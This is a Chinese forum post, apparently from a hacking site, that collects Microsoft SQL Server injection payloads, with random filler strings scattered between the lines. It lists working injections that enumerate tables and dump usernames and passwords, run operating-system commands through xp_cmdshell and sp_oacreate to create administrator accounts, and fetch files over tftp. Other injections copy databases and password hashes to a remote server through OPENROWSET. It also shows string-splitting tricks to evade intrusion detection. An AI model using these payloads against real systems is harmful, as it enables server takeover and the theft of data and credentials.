中国网络渗透测试联盟
标题:
mssql高级注入
[打印本页]
作者:
admin
时间:
2012-9-13 17:23
标题:
mssql高级注入
最重要的表名:
5 Z$ p3 Z" T/ Q% {1 D u7 w
select * from sysobjects
. y- P5 k& o7 c& \* Z
sysobjects ncsysobjects
6 z! x: K) U M! R% \& D
sysindexes tsysindexes
# k5 q: ]8 @0 m% {; V. n% T) ?
syscolumns
7 C3 T. c- ]" N6 ]2 k
systypes
! t, C6 }5 n% F3 v3 y
sysusers
7 j& s: _! b9 c9 ^0 v* Q0 t2 r4 u
sysdatabases
_8 \# `: U2 t$ ^+ Q8 y
sysxlogins
" g/ a( m2 i3 u+ S5 G
sysprocesses
7 s5 o" a" J# A- g% q' @
4 { H) ]# t: Q! X
最重要的一些用户名(默认sql数据库中存在着的)
' f9 ?$ ]1 B' i' h
public
+ E2 J) X: y/ y4 D$ R7 t4 R
dbo
2 n2 _& N* [% y6 O' Y3 l5 s
guest(一般禁止,或者没权限)
* G; y. j# Q P' ~+ h. M, M4 }0 @+ s
db_sercurityadmin
7 F- T: W+ f6 v z8 t0 ]4 e. w/ p
ab_dlladmin
+ F9 b( Z6 |" ~9 z1 t. d: m4 @& p
/ Z& _3 Z( R) Q4 M. _: z) S
一些默认扩展
/ }9 ^6 C5 o( V
3 \8 l) I) V& t& `( [) H: O
xp_regaddmultistring
" }8 c8 _+ X, J. {' z8 e; \+ L% c6 L
xp_regdeletekey
4 b6 ` b; Y! t7 {% Q
xp_regdeletevalue
8 m& N; R) a X
xp_regenumkeys
& ?. E( D3 Z, k0 m* w) `/ P* A
xp_regenumvalues
9 K5 B( u% h, N+ e1 ~
xp_regread
) k7 S3 D5 A- z
xp_regremovemultistring
% \" K5 J& i# H% u
xp_regwrite
- a+ |& `8 A Y, s" i$ }& j4 D0 l
xp_availablemedia 驱动器相关
5 I" k# H u) R, p. @
xp_dirtree 目录
) q8 t4 `, s$ r4 ~
xp_enumdsn ODBC连接
1 [ J. b- G; g5 `
xp_loginconfig 服务器安全模式信息
1 d) Q" D- f9 u3 x
xp_makecab 创建压缩卷
% ] r& V9 G( e7 S! b
xp_ntsec_enumdomains domain信息
; J1 o7 @( ]8 P, z3 d: b. R, O
xp_terminate_process 终端进程,给出一个PID
6 k$ u; R: h8 Z- `
, H- I$ C* u& N
例如:
- e2 t9 E: Q% O" O- i& c; [
sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'
# V: r" C2 i' c
exec xp_webserver
5 k/ ^$ |+ X/ y0 o( X# ~! p) C' e
sp_dropextendedproc 'xp_webserver'
4 m3 _9 r$ B, c: q+ L/ Y
bcp "select * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar
7 o: r4 s2 Q. V3 P
' group by users.id having 1=1-
0 g/ q% X7 K6 h: R W
' group by users.id, users.username, users.password, users.privs having 1=1-
# ] \1 R# H* p) X* Q
'; insert into users values( 666, 'attacker', 'foobar', 0xffff )-
. ~2 G) Y- z$ h$ f L& Y& K g6 O4 s
: \9 Q; w) p1 V* P- R
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable'-
: i* |( l s$ j9 n
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id')-
% ]' ^/ i$ ?9 T% ]6 D4 u% M
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id','login_name')-
; V1 h' ~; F. x
union select TOP 1 login_name FROM logintable-
% c9 p6 f+ \- q' C% {6 e" R
union select TOP 1 password FROM logintable where login_name='Rahul'--
" P2 W0 [) x- [6 u
构造语句:查询是否存在xp_cmdshell
, i2 `6 [) F9 _; p5 X8 J7 w" ?8 u
' union select @@version,1,1,1--
5 p, w5 B, w n! D
and 1=(select @@VERSION)
- P$ ?& H. v! W. x" r
and 'sa'=(select System_user)
+ b) [; Y9 S# }- e
' union select ret,1,1,1 from foo--
/ c; p5 N* F. ?8 s" i# O, o# F5 [
' union select min(username),1,1,1 from users where username > 'a'-
; p# H( _$ c9 n" i3 l, e, p4 |
' union select min(username),1,1,1 from users where username > 'admin'-
$ w% U/ }8 }' _# F
' union select password,1,1,1 from users where username = 'admin'--
* N/ V6 _8 D4 A- L$ F
and user_name()='dbo'
6 K- k" @/ q3 q5 N& I( |
and 0<>(select user_name()-
; e: T9 H- K# M) q. S e
; DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user swap 5245886 /add'
& x# ` O. e7 Y0 q$ {* `& }
and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')
% o: F3 S* @. M. u! P; P* D7 F3 a' D
;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
$ u* ` M% S* j; O: r
$ E7 K) W3 X0 {
1=(%20select%20count(*)%20from%20master.dbo.sysobjects%20where%20xtype='x'%20and%20name='xp_cmdshell')
( B8 F( @$ T% g/ g( m% v
and 1=(select IS_SRVROLEMEMBER('sysadmin')) 判断sa权限是否
; `$ m- C# r7 Y/ z/ d2 M1 v1 l: T) d% Z
and 0<>(select top 1 paths from newtable)-- 暴库大法
1 Z- q1 w( x2 T$ p3 t2 r% |
and 1=(select name from master.dbo.sysdatabases where dbid=7) 得到库名(从1到5都是系统的id,6以上才可以判断)
! h! c. @# b% M) ]* F
创建一个虚拟目录E盘:
8 O8 X0 p) ?' q! X4 O% D! Y
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认 Web 站点" -v "e","e:\"'
1 Y' S/ x4 `. K; c
访问属性:(配合写入一个webshell)
3 p3 T! }' N- m. j I) v
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse'
; V; S0 r/ h1 l# m# f
0 O- ]6 l+ l6 E1 }
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
* |. |: k! V Y
依次提交 dbid = 7,8,9.... 得到更多的数据库名
: c& u' j0 S4 W& k
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一个表 假设为 admin
/ e% Q5 a. k$ w4 x- `% p
* U2 l- A3 k! v, V; Q
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in ('Admin')) 来得到其他的表。
2 z. N# ^: @0 A: W2 F0 u, A7 t
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin'
: G4 B1 V9 w& v, p f" e7 b
and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id
0 s# l( E# h" [7 M
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_id
- K( d) Q( e6 y7 g" }& ^3 `
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
) ?: d2 b5 K% s* p) M5 h" E
('id',...)) 来暴出其他的字段
: U' d% g9 D6 W+ o: T
and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用户名
5 v+ |$ a% b x) B
依次可以得到密码。。。。。假设存在user_id username ,password 等字段
% W: ?% j G* F5 y; t: Y i7 w
) i$ J; V* Q9 X
Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
& P& D( f! n' @. P/ m
Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin
' D0 q% E( U% Z2 A y
(union语句到处风靡啊,access也好用
- c, X& p; X0 c; U
I) |$ K4 n- `8 H& {
暴库特殊技巧::%5c='\' 或者把/和\ 修改%5提交
) v# S/ G6 O: P8 o$ |! ^$ H
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
* Z, m; K7 ` C- q! F
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 得到表名
: }9 l6 g! }; d" B
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in('Address'))
6 ^$ w* H- s. D( t2 E. O
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 判断id值
3 e9 Z. y6 C: s6 L ]' }* u0 f2 V
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
& Y# u1 x' ^4 k; a
3 ^6 p9 c T/ d
http://xx.xx.xx.xx/111.asp?id=3400;create
table [dbo].[swap] ([swappass][char](255));--
4 p) Z$ h6 p8 C, w6 A/ M1 c
- C+ S ]: {' G, W8 Y
http://xx.xx.xx.xx/111.asp?id=3400
and (select top 1 swappass from swap)=1
( u. B- a. S/ S4 a) `$ F6 G( y3 P3 W
;create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\', @value_name='/', values=@test OUTPUT insert into paths(path) values(@test)
* o# O4 s: f2 d0 |7 h8 S
% B* n: v. ^" @9 g' k% c/ X
http://61.131.96.39/PageShow.asp?TianName=
政策法规&InfoID={57C4165A-4206-4C0D-A8D2-E70666EE4E08};use%20master;declare%20@s%20%20int;exec%20sp_oacreate%20"wscript.shell",@s%20out;exec%20sp_oamethod%20@s,"run",NULL,"cmd.exe%20/c%20ping%201.1.1.1";--
6 ?6 b$ p. S. }0 |9 G( @: h
, W9 m6 e) W: _9 L
得到了web路径d:\xxxx,接下来:
+ K5 g+ F6 x9 ^: b
http://xx.xx.xx.xx/111.asp?id=3400;use
ku1;--
/ Y3 [1 G2 j4 V8 e# O/ W
http://xx.xx.xx.xx/111.asp?id=3400;create
table cmd (str image);--
" B3 a2 {; f" I7 e- s0 x. ?0 |
: I, t" n4 ?3 w4 j( L( l# ?- U
传统的存在xp_cmdshell的测试过程:
- l# d# h4 ?! K+ S
;exec master..xp_cmdshell 'dir'
6 d5 { _% a M+ ~$ K5 f. _
;exec master.dbo.sp_addlogin hax;--
, ?" x1 J( c/ H2 [$ Y1 v6 ~
;exec master.dbo.sp_password null,hax,hax;--
. d( `. F: K' Q1 e- Z2 I
;exec master.dbo.sp_addsrvrolemember hax sysadmin;--
0 b; g) c' Z& O8 o3 |4 V; g7 m/ R' w
;exec master.dbo.xp_cmdshell 'net user hax 5258 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
* e2 I6 e q- S4 \/ V' ^
;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';--
$ ^1 y9 _' [% h& q- @
exec master..xp_servicecontrol 'start', 'schedule'
& y2 k. e# J3 N: \% \
exec master..xp_servicecontrol 'start', 'server'
- |0 f( G$ d) U, w0 l2 N
http://www.xxx.com/list.asp?classid=1; DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user swap 5258 /add'
/ [3 _+ I% R7 k/ F: L5 c0 U( q, V
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net localgroup administrators swap/add'
& Y& k1 X% m8 c2 z4 K
) a% E8 H5 b& w" g4 Y' h
http://localhost/show.asp?id=1'; exec master..xp_cmdshell 'tftp -i youip get file.exe'-
! H9 C0 D% Y. m$ q
" W' }- o8 M G3 q1 \2 D0 C
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
# j* _* ^- j4 I2 U4 }5 S5 O
declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'
+ M7 U3 b2 x* S9 d) B9 u
;declare @a;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat'
: E2 `5 W W% Y& s) s( @
如果被限制则可以。
4 A; X: F' N2 x% E
select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin hax')
% C% m+ E, _ }! D6 U9 i1 }
传统查询构造:
( Y# W# E6 ?8 c: s+ @: L$ Y
select * FROM news where id=... AND topic=... AND .....
8 q! t4 Z6 T/ t( e( H
admin'and 1=(select count(*) from [user] where username='victim' and right(left(userpass,01),1)='1') and userpass <>'
" f% k3 ~) j6 `- M- }- J
select 123;--
X c; ^* N+ X* e" N
;use master;--
7 d: n1 N0 Z: W- {& E/ k) G4 Z# X
:a' or name like 'fff%';-- 显示有一个叫ffff的用户哈。
8 Z0 O% S7 o4 X- E! M3 k
'and 1<>(select count(email) from [user]);--
. G: j" a1 T9 o. b
;update [users] set email=(select top 1 name from sysobjects where xtype='u' and status>0) where name='ffff';--
; z. H8 X0 \% | ?' H
说明:
- g) ]' z/ h z ^
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
- i" Z; e, B! k$ a8 b' `, c
通过查看ffff的用户资料可得第一个用表叫ad
" Z( R# N- |9 x8 s9 }1 D" N. b
然后根据表名ad得到这个表的ID
9 ^8 f; C: ]4 U/ v
ffff';update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='ad') where name='ffff';--
" y" R+ z P; w& j
2 a7 G/ Y. `8 U$ ?2 }6 _: P
象下面这样就可以得到第二个表的名字了
/ e/ {8 N% b) E) @# ~) c
ffff';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id>581577110) where name='ffff';--
1 Z; L. Z, `. u1 X6 p1 c
ffff';update [users] set email=(select top 1 count(id) from password) where name='ffff';--
' d4 |2 K: C) h# ?9 y
ffff';update [users] set email=(select top 1 pwd from password where id=2) where name='ffff';--
# `0 X* @4 M ]$ R
, b" C5 f9 C- O. R
ffff';update [users] set email=(select top 1 name from password where id=2) where name='ffff';--
) ?9 f0 v1 Z4 K7 }! d5 j' g; v* {
, ~# l+ z1 s) }9 A& `9 m9 q0 M- ]- Z
exec master..xp_servicecontrol 'start', 'schedule'
: p* L/ M) P) }
exec master..xp_servicecontrol 'start', 'server'
; I5 L# q) V- ?6 S
sp_addextendedproc 'xp_webserver', 'c:\temp\xp_foo.dll'
1 H( x# W# g3 f0 }
扩展存储就可以通过一般的方法调用:
& ~4 b, M/ \; [* l7 j
exec xp_webserver
1 p- ?. x) H. w g8 e6 t* P
一旦这个扩展存储执行过,可以这样删除它:
$ x% S5 r% v4 S5 x7 z
sp_dropextendedproc 'xp_webserver'
3 i. ?5 B7 I, ~
# z/ A( L/ | J5 V/ l
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-
9 B7 L* K( R/ f% R( B f
' S8 k) ~/ y) A( Y
insert into users values( 667,123,123,0xffff)-
/ N0 C: Y0 \0 x7 B; _7 J# a. `
, Q/ v+ S! c E# x, G
insert into users values ( 123, 'admin''--', 'password', 0xffff)-
" C9 L: R7 p( B* J2 v' s
. O* _* Q2 T# W' j5 F7 I8 d
;and user>0
+ ^2 \; j9 }. N \
;;and (select count(*) from sysobjects)>0
4 ]+ X* m# Z0 o. {2 @( L8 ]
;;and (select count(*) from mysysobjects)>0 //为access数据库
$ L! s* l- V4 X7 [6 M Q
( F6 A4 ~% ]+ t! C
-----------------------------------------------------------通常注射的一些介绍:
. @7 j+ [7 u# q. Y% N# J- Z9 B& u
A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:
3 T; u# m+ n% }* E) w0 \- X6 k
select * from 表名 where 字段=49
! K* {) ~# b9 F; D! L: s
注入的参数为ID=49 And [查询条件],即是生成语句:
4 Q k" d# b+ r7 B# |
select * from 表名 where 字段=49 And [查询条件]
. h5 P# n0 s; ~+ j( b5 _
) D) d+ ]' W( l; D/ N" X
(B) Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下:
* ]- [4 B1 Q( q" m
select * from 表名 where 字段='连续剧'
, m# J3 ~- [+ q: e9 a
注入的参数为Class=连续剧' and [查询条件] and ''=' ,即是生成语句:
! `, l6 _! }/ Q, v. z9 @ z
select * from 表名 where 字段='连续剧' and [查询条件] and ''=''
2 ], _+ n' z3 ~6 P
(C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:
9 i) a0 E7 u% [* J
select * from 表名 where 字段like '%关键字%'
9 t8 ~+ _- r) v5 @" ^, e |, M
注入的参数为keyword=' and [查询条件] and '%25'=', 即是生成语句:
, x; ]: _& h5 d! ^
select * from 表名 where字段like '%' and [查询条件] and '%'='%'
; j6 c8 x; n3 b! h2 J" @
;;and (select Top 1 name from sysobjects where xtype='U' and status>0)>0
* V- i2 z3 J# A1 `& f+ A
sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype='U' and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。
9 D7 z' S7 w j G4 ~; s- n! d4 W# E' _
;;and (select Top 1 col_name(object_id('表名'),1) from sysobjects)>0
: B* [' J a2 L. [% X I! s6 U
从⑤拿到表名后,用object_id('表名')获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。
, ?: b- H/ u W8 p
6 T0 o0 B& H3 [6 y# n& g
post.htm内容:主要是方便输入。
5 E4 f5 {- P; t4 y& x7 [: j6 {% ~4 h
<iframe name=p src=# width=800 height=350 frameborder=0></iframe>
; O- _$ x# n) v' R! }/ u
<br>
' c4 P; g) ]: X( R7 G0 h, K
<form action=http://test.com/count.asp target=p>
4 b) h3 R$ x2 `
<input name="id" value="1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--" style="width:750">
, w- ^) i/ x; C3 R8 w' T' H
<input type=submit value=">>>">
. ?3 C1 {5 Y; d# ~' `4 ?
<input type=hidden name=fno value="2, 3">
! y, n4 m0 c7 j4 q9 a6 Y3 o8 a5 ]
</form>
* n0 r* F/ q, H: Z/ x
枚举出他的数据表名:
; ^2 {$ U: ]! D
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--
8 W' a6 s, e2 q$ m t4 B
这是将第一个表名更新到aaa的字段处。
; p1 a; G: Y' \* e+ `0 n- m
读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>'刚才得到的表名')。
% ]6 W7 q" [; K. f0 y5 p
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'vote');--
: {; R. o2 H0 t# i% ^# L
然后id=1552 and exists(select * from aaa where aaa>5)
( G1 `* G+ \& h$ U X
读出第二个表,^^^^^^一个个的读出,直到没有为止。
# f6 M; t9 C+ [9 D4 z
读字段是这样:
, V4 q# R0 r8 y: W
id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--
6 S- b7 }( F: J* H" o. N: R
然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名
( |$ M3 b. k! `! I
id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--
/ h5 p* n3 i8 w$ P0 ]6 _
然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名
2 k- n' O; B/ i9 z8 I
--------------------------------高级技巧:
0 k0 M' F6 A' S% I$ n& t+ ?/ @
[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]
\& l$ u; |# @9 X8 v" {
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>'你得到的表名' 查出一个加一个]) [ where 条件]
- Y- s$ q/ e; U3 N. I n( P
select top 1 name from sysobjects where xtype=u and status>0 and name not in('table1','table2',…)
! n1 b. A8 p \: b
通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
6 C" k+ d, V( ^& g3 P4 x
5 Y0 |& \: |/ Z
[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名]
2 R7 ~5 m& N: m- ]6 H4 e
update 表名 set 字段=(select top 1 col_name(object_id('要查询的数据表名'),字段列如:1) [ where 条件]
5 h, L/ t, @; s' O: ]3 Z7 K. A
6 I5 s- y. ?/ F4 {% h3 Q; S, C
绕过IDS的检测[使用变量]
, a# [/ [3 }, c l7 b4 C) U/ {
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
8 h: _1 |" F* V. c6 |$ m, g
declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'
3 K; U- D& n! M- {
- j# M1 N; ]7 N# [" y( ^1 x
1、 开启远程数据库
( p: R0 P$ }# B. K
基本语法
1 B% c, i8 L, I9 E" ~/ [
select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1' )
5 x. p8 E) j# c. z$ O# _
参数: (1) OLEDB Provider name
3 ^2 [: i |! u1 ]
2、 其中连接字符串参数可以是任何和端口用来连接,比如
. o8 ?: x! ] j( i) o
select * from OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table'
# d4 t1 R+ B7 h" w9 b; ~, F: {
- {& k6 x; I5 H* E0 n$ r. Z8 d
要复制目标主机的整个数据库,首先要在目标主机上和自己机器上的数据库建立连接(如何在目标主机上建立远程连接,刚才已经讲了),之后insert所有远程表到本地表。
E8 F4 i( e0 ^( @# a+ Y
5 z, G% t2 V9 _
基本语法:
8 f$ e; b. h# ]
insert into OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1') select * from table2
' u2 Q2 f# H) e: T- X$ s
这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如:
( X5 D+ t, m- [7 A' u7 y1 \
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table1') select * from table2
P5 T; L7 a4 { Q6 Z1 y' H; M
7 ^; x/ ^4 }2 e' R: L
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysdatabases')
$ _4 `1 W( {# ]
select * from master.dbo.sysdatabases
6 Y9 A5 n3 J5 I) B$ \5 p J+ P
) F+ | P _/ X7 ^" |* Y) G
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysobjects')
- P# r& |, _. u* J4 g
select * from user_database.dbo.sysobjects
% U: R! K5 T( a$ O7 g) b
" \" x8 N- `1 m8 J8 ~. i6 \
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _syscolumns')
4 C' i4 q/ b, n
select * from user_database.dbo.syscolumns
4 Z! z: d9 j0 Q* Z8 Y! U& N# i
+ M% N+ G% [' _9 s% D: e
之后,便可以从本地数据库中看到目标主机的库结构,这已经易如反掌,不多讲,复制数据库:
# I2 x! d' q5 K
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table1') select * from database..table1
' z. A& u/ \9 V J4 \; B9 n: w5 G
" b; s( q9 g$ |' \+ `1 a
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table2') select * from database..table2
5 C4 T, i# g7 V/ i9 J0 r9 y
7 A: `, ?0 b4 H) s. b% l6 l
......
# Z7 K5 w+ A. [+ X
. ?6 U. }1 G+ B" y: {1 L
3、 复制哈西表(HASH)
: S/ ?: F' l/ R% E/ e4 n
3 ^6 h6 l' w. f: I- m2 s$ h7 F
这实际上是上述复制数据库的一个扩展应用。登录密码的hash存储于sysxlogins中。方法如下:
6 |% S8 S& k. ]$ `" h6 k% r
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from _sysxlogins') select * from database.dbo.sysxlogins
1 ?& ^8 @- c, D& ?) b* S1 `
得到hash之后,就可以进行暴力破解。这需要一点运气和大量时间。
0 @( x) e0 U$ K2 {
+ G7 v8 `# a3 P. |
遍历目录的方法:
% X: S5 j% D9 w2 _/ W6 _' Z
先创建一个临时表:temp
. M! g+ C7 q# u/ g6 ~
5';create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
+ T5 t$ W6 D5 E- I
5';insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
5 O# H: r" F( |0 Y# k1 S) E3 X
5';insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
1 r( N3 A2 m3 G B5 r
5';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构,并寸入temp表中
+ `6 M" T9 A, e4 O# k0 u
( d8 f* N5 }! t9 y; W" R7 Q
5';insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看某个文件的内容
8 @" v/ l) \' u9 d( W7 A
5';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\';--
5 j6 M: M0 f1 X K" [5 r
5';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\ *.asp /s/a';--
1 S% ~8 ^9 S% @0 \% `9 r9 \
5';insert into temp(id) exec master.dbo.xp_cmdshell 'cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc'
! y& A- _2 S( j6 E0 ?; T' P2 Y
/ B8 ]1 a$ ~/ @2 }1 R2 j9 O, V) o
5';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- (xp_dirtree适用权限PUBLIC)
8 y7 E1 D' @8 \& Q% P, ?
写入表:
% l x8 w3 `$ ?1 k N7 C( h. ^$ Y
语句1:
http://www.xxxxx.com/down/list.asp?id=1
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
( g/ s& A, b1 @, I- y
语句2:
http://www.xxxxx.com/down/list.asp?id=1
and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
% @6 e% c$ d5 i0 Q+ Q* g- O
语句3:
http://www.xxxxx.com/down/list.asp?id=1
and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
/ D6 ^2 W; L; B9 i) m' c0 _
语句4:
http://www.xxxxx.com/down/list.asp?id=1
and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
& ?6 I5 a5 e; c, Y0 |0 j
语句5:
http://www.xxxxx.com/down/list.asp?id=1
and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
* c) c6 L0 O+ g: H; b
语句6:
http://www.xxxxx.com/down/list.asp?id=1
and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
: Z& T6 V3 h: F# D/ w. {
语句7:
http://www.xxxxx.com/down/list.asp?id=1
and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
0 e8 L: w& h: s: G
语句8:
http://www.xxxxx.com/down/list.asp?id=1
and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
0 S( L9 E% d( U) j/ w& n ~
语句9:
http://www.xxxxx.com/down/list.asp?id=1
and 1=(select IS_MEMBER('db_owner'));--
- | Y( R4 ?# [# x9 Z) P
把路径写到表中去:
" z- c9 d. q/ T# K. S6 k
http://www.xxxxx.com/down/list.asp?id=1;create
table dirs(paths varchar(100), id int)-
, z* f! V& e; g: r
http://http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'c:\'-
9 s* i$ [: J: Z1 e9 t0 n( g( G
http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-
9 m& P% W: K i7 ], f0 J
http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where paths not in('@Inetpub'))-
# J7 X4 b8 R( J: Z$ b
语句:http://http://www.xxxxx.com/down/list.asp?id=1;create table dirs1(paths varchar(100), id int)--
|$ ^: A7 X& P
语句:http://http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'e:\web'--
( v9 `4 R3 G- }5 Q
语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs1)-
& K2 S p3 g/ U5 _9 e" u# p
把数据库备份到网页目录:下载
1 n0 B6 R0 ^! t9 B5 ^! T
http://http://www.xxxxx.com/down/list.asp?id=1;declare @a sysname; set @a=db_name();backup database @a to disk='e:\web\down.bak';--
9 o* y2 [; d9 a( u+ ?2 |) ?
+ h5 X; J f. T$ P* v# Y
and%201=(select%20top%201%20name%20from(select%20top%2012%20id,name%20from%20sysobjects%20where%20xtype=char(85))%20T%20order%20by%20id%20desc)
, N. g& D! ?# j0 U* v
and%201=(select%20Top%201%20col_name(object_id('USER_LOGIN'),1)%20from%20sysobjects) 参看相关表。
9 ` P& c/ x* a! {+ x
and 1=(select%20user_id%20from%20USER_LOGIN)
" a+ E* y6 x o8 Q
and%200=(select%20user%20from%20USER_LOGIN%20where%20user>1)
`5 r, |' `: V- Z* p8 O( \5 e3 Z
; ^# h0 Z* T9 T5 u9 H4 U6 w8 ^+ u
如果可以通过连接符注释掉后面的验证,那么就更有意思了,来看我们能作什么:
. z1 F2 Y* @# Y8 g: s' d& j3 q
a、在用户名位置输入【admin';exec master.dbo.sp_addlogin Cool;--】,添加一个sql用户
# y3 d1 F' N5 |8 o4 f
